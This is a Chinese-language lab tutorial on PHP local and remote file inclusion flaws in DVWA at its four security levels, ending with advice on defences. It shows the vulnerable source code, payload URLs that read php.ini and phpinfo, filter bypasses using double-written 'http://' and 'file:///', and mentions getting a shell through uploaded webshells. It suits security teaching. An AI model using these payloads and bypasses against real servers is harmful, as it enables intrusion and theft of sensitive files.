简介
1.文件包含
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含;
2. 文件包含漏洞
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞;在PHP中经常出现文件包含漏洞;
3.php中引发文件包含漏洞的通常是以下四个函数
include():找不到被包含文件,报错,但会继续运行脚本
include_once():与include()类似,区别在于,当重复调用同一文件时,程序只调用一次;
require():找不到被包含文件,报错,并且停止运行脚本;
require_once():与require类似,区别在于,当重复调用同一文件时,程序只调用一次;
4.文件包含的分类
本地文件包含:可以包含本地文件,在条件允许时甚至能执行代码
读敏感文件,读PHP文件;
上传一句话木马或图片木马,然后进行包含,从而 GetShell;
包含/proc/self/envion文件GetShell
若有phpinfo则可以包含临时文件
远程文件包含:可以直接执行任意代码
要保证php.ini中allow_url_fopen和allow_url_include要为 On
5.危害
- 执行任意代码
- 读取文件源码或敏感信息
- 包含恶意文件控制网站,甚至控制服务器
6.开启本地包含
如果显示如下页面,不能进行文件包含
开启文件包含
然后重启apache
安全级别:Low
源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
源码分析
服务器端对page参数没有做任何的过滤跟检查
注:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行;
本地文件包含
构造url,查看php的配置文件
127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/fi/?page=D:\phpStudy\PHPTutorial\WWW\DVWA-master\DVWA-master\php.ini
构造url,查看phpinfo.php
127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/fi/?page=D:\phpStudy\PHPTutorial\WWW\DVWA-master\DVWA-master\phpinfo.php
查看1.txt(在目标服务器上写个1.txt文件,查看是执行还是打印内容)
1.txt内的内容是
<?php
phpinfo();
?>
当服务器包含文件时,不论文件是否是PHP文件,都会尝试当做PHP文件执行,如文件内容是PHP的代码,则直接执行PHP代码并返回结果,若不是,则直接打印文件内容。
远程文件包含
127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php
当输入目标主机IP地址时,直接进入目标主机的WWW目录下;
安全级别:Medium
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
使用双写hthttp://tp://
嵌套方式绕过
http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/phpinfo.php
安全级别:High
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
源码分析
使用fnmatch函数检查page参数,要求page参数必须以file开头,且不等于include.php
可以使用file:///方式绕过;
127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/fi/?page=file:///D:/phpStudy/PHPTutorial/WWW/phpinfo.php
安全级别:Impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
Impossible级别中,page参数只能是如上四种,include.php,file1.php,file2.php,file3.php;杜绝了文件包含漏洞;
防护总结:
- 设置白名单(文件名可以确定)
- 过滤危险字符(判断文件名称是否为合法的php文件)
- 设置文件目录(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir)
- 关闭危险配置(无需情况下设置allow_url_include和allow_url_fopen为关闭)
- 严格检查include类的文件包含函数中的参数是否外界可控。